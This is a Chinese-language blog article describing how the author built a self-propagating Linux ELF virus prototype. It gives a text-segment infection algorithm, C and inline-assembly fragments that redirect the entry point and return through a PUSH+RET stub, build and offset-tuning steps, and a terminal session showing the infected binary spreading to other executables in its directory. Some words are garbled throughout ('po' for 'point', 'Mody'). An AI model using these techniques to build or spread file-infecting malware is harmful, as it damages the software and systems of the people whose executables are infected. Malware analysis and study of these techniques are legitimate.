虐杀原型:Linux病毒原型工作过程和关键环节

、 介绍

写这篇文章主要是对最近写个Linux病毒原型代码做个整理总结同时向对这方面有兴趣朋友做个简单介绍阅读这篇文章你需要些知识要对ELF有所了解、能够阅读些嵌入了汇编C代码、了解病毒基本工作原理

2、 ELF Infector (ELF文件感染器)

为了制作病毒文件我们需要个ELF文件感染器用于制造第个带毒文件对于ELF文件感染技术在Silvio CesareUNIX ELF PARASITES AND VIRUS文中已经有了个非常好分析、描述在这方面我还没有发现可以对其进行补充地方因此在这里我把Silvio Cesare对ELF Infection过程整理总结贴出来以供参考: The final algorithm is using this information is.
* Increase p_shoff by PAGE_SIZE in the ELF header
* Patch the insertion code (parasite) to jump to the entry po
(original)
* Locate the text segment program header
* Mody the entry po of the ELF header to po to the
code (p_vaddr + p_filesz)
* Increase p_filesz by account for the code (parasite)
* Increase p_memsz to account for the code (parasite)
* For each phdr who's segment is after the insertion (text segment)
* increase p_off by PAGE_SIZE
* For the last shdr in the text segment
* increase sh_len by the parasite length
* For each shdr who's section resides after the insertion
* Increase sh_off by PAGE_SIZE
* Physically insert the code (parasite) and pad to PAGE_SIZE, o
the file - text segment p_off + p_filesz (original)

在Linux病毒原型中所使用gei - ELF Infector即是根据这个原理写在附录中你可以看到这个感染工具源代码: g-elf-infector.cg-elf-infector和病毒是独立开其只在制作第个病毒文件时被使用我简单介绍下它使用思路方法g-elf-infector.c可以被用于任何希望--将 2进制代码插入到指定文件文本段并在目标文件执行时首先被执行--用途上g-elf-infector.c接口很简单你只需要提供以下 3个定义:

* 存放你 2进制代码返回地址地址这里需要是这个地址和代码起始地址偏移用于返回到目标正常入口 # PARACODE_RETADDR_ADDR_OFFSET 1232

 

* 要插入 2进制代码(由于用C编写所以这里需要以方式提供)

void parasite_code(void);

* 2进制代码结束(为了易用这里用个结尾来进行代码长度计算) void parasite_code_end(void);

parasite_code_end应该是parasite_code定义通常应该如下表示 void parasite_code(void)
{
...
...
...
}
void parasite_code_end(void) {}

在这里存在个问题就是编译有可能在编译时将parasite_code_end放在parasite_code地址前面这样会导致计算代码长度时失败为了避免这个问题你可以这样做 void parasite_code(void)
{
...
...
...
}
void parasite_code_end(void) {parasite_code;}

有了这 3个定义g-elf-infector就能正确编译编译后即可用来ELF文件感染 face=Verdana>

3、病毒原型工作过程

1 首先通过ELF Infector将病毒代码感染到个ELF文件这样就创造了第个带毒文件后续传播就由它来完成

2 当带毒文件被执行时会首先跳到病毒代码开始执行

3 病毒代码开始发作在这个原型里病毒会直接开始传播

4 病毒遍历当前目录下个文件如果是符合条件ELF文件就开始感染

5 病毒感染过程和ELF Infector过程类似但由于工作环境区别代码实现也是有较大区别

6 目前传染对ELF文件基本要求是文本段要有剩余空间能够容纳病毒代码如果无法满足病毒会忽略此ELF对于被感染过ELF文件文本段将不会有剩余空间因此 2次感染是不会发生

7 病毒代码执行过后会恢复堆栈和所有寄存器(这很重要)然后跳回到真正可执行文件入口开始正常运行过程

上面对病毒原型工作过程介绍也许显得千篇律了和我们早就熟知有关病毒些介绍没有什么区别?是确是这样原理都是类似关键是要看实现下面我们就将通过对些技术问题分析来了解具体实现思路
4、关键技术问题及处理

1 ELF文件执行流程重定向和代码插入

在ELF文件感染问题上ELF Infector和病毒传播时infect_virus思路是:

* 定位到文本段将病毒代码接到文本段尾部这个过程关键是要熟悉ELF文件格式将病毒代码复制到文本段尾部后能够根据需要调整文本段长度改变所影响到后续段(segment)或节(section)虚拟地址同时注意把新引入文本段部分和个.ion建立关联防止strip这样工具将插入代码去除还有点就是要注意文本段增加长度对齐问题见ELF文档中描述: p_align
As ``Program Loading'' later in this part describes, loadable
process segments must have congruent values for p_vaddr and
p_off, modulo the page size.

* 通过过将ELF文件头中入口地址修改为病毒代码地址来完成代码重定向: /* Mody the entry po of the ELF */
org_entry = ehdr->e_entry;
ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;

2 病毒代码如何返回到真正ELF文件入口

思路方法窍门技巧应该很多这里采用思路方法是PUSH+RET组合: __asm__ volatile (
...
":\n\t"
"push $0xAABBCCDD\n\t" /* push ret_addr */
"ret\n"
::);

其中0xAABBCCDD处存放是真正入口地址这个值在插入病毒代码时由感染来填写

5、 新编译环境下调试思路方法 grip2@linux:~/tmp/virus> ls
g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c
Makefile parasite-sample.c parasite-sample.h

调整Makefile文件将编译模式改为调试模式即关掉-DNDEBUG选项 grip2@linux:~/tmp/virus> cat Makefile
all: foo gei
gei: g-elf-infector.c gvirus.o
gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG
foo: foo.c
gcc $< -o foo
gvirus.o: gvirus.c
gcc $< -O2 -c -o gvirus.o -fomit-frame-poer -Wall #-DNDEBUG
clean:
rm *.o -rf
rm foo -rf
rm gei -rf

编译代码 grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-poer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG

先获取病毒代码长度然后调整gvirus.c中# PARACODE_LENGTH定义

grip2@linux:~/tmp/virus>. /gei -l <.这里获取病毒代码长度

Parasite code length: 1744

获取病毒代码开始位置和0xaabbccdd地址计算存放返回地址地址偏移 grip2@linux:~/tmp/virus> objdump -d gei|grep aabbccdd
8049427: 68 dd cc bb aa push $0xaabbccdd
grip2@linux:~/tmp/virus> objdump -d gei|grep ""
08048d80 :
8049450: e9 2b f9 ff ff jmp 8048d80
grip2@linux:~/tmp/virus> objdump -d gei|grep ":"
08048d80 :

0x8049427和0x8048d80相减即获得我们需要偏移用这个值更新gvirus.h中# PARACODE_RETADDR_ADDR_OFFSET宏

重新编译 grip2@linux:~/tmp/virus> make clean
rm *.o -rf
rm foo -rf
rm gei -rf
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-poer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
grip2@linux:~/tmp/virus> ls
gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c
g-elf-infector.c gunistd.h gvirus.h foo Makefile parasite-sample.h


建立个测试目录测试下 grip2@linux:~/tmp/virus> mkdir test
grip2@linux:~/tmp/virus> cp gei foo test
grip2@linux:~/tmp/virus> cd test
grip2@linux:~/tmp/virus/test> ls
gei foo
grip2@linux:~/tmp/virus/test> cp foo h

制作带毒 grip2@linux:~/tmp/virus/test>. /gei h
file size: 8668
e_phoff: 00000034
e_shoff: 00001134
e_phentsize: 00000020
e_phnum: 00000008
e_shentsize: 00000028
e_shnum: 00000025
text segment file off: 0
[15 sections patched]
grip2@linux:~/tmp/virus/test> ll
total 44
-rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:50 foo

运行带毒 grip2@linux:~/tmp/virus/test>. /h
.
..
gei
foo
h
.backup.h
real elf po
grip2@linux:~/tmp/virus/test> ll
total 52
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo

测试上面带毒运行后是否感染了其他ELF grip2@linux:~/tmp/virus/test>. /foo
.
..
gei
Better luck next file
foo
h
Better luck next file
.backup.h
Better luck next file
real elf po

OK成功 grip2@linux:~/tmp/virus/test> cp. ./foo hh
grip2@linux:~/tmp/virus/test> ll
total 64
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:51 hh
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
grip2@linux:~/tmp/virus/test>. /foo
.
..
gei
Better luck next file
foo
h
Better luck next file
.backup.h
Better luck next file
hh
real elf po
grip2@linux:~/tmp/virus/test>

6、整理总结

由于我既不是个virus coder也不是个anti-viruscoder所以对病毒技术掌握应该是有欠缺如果在文章中对病毒技术描述不够准确分析不够到位还请指正谢谢


Tags:  杀戮原型 原型体 虐杀原型

延伸阅读

最新评论

发表评论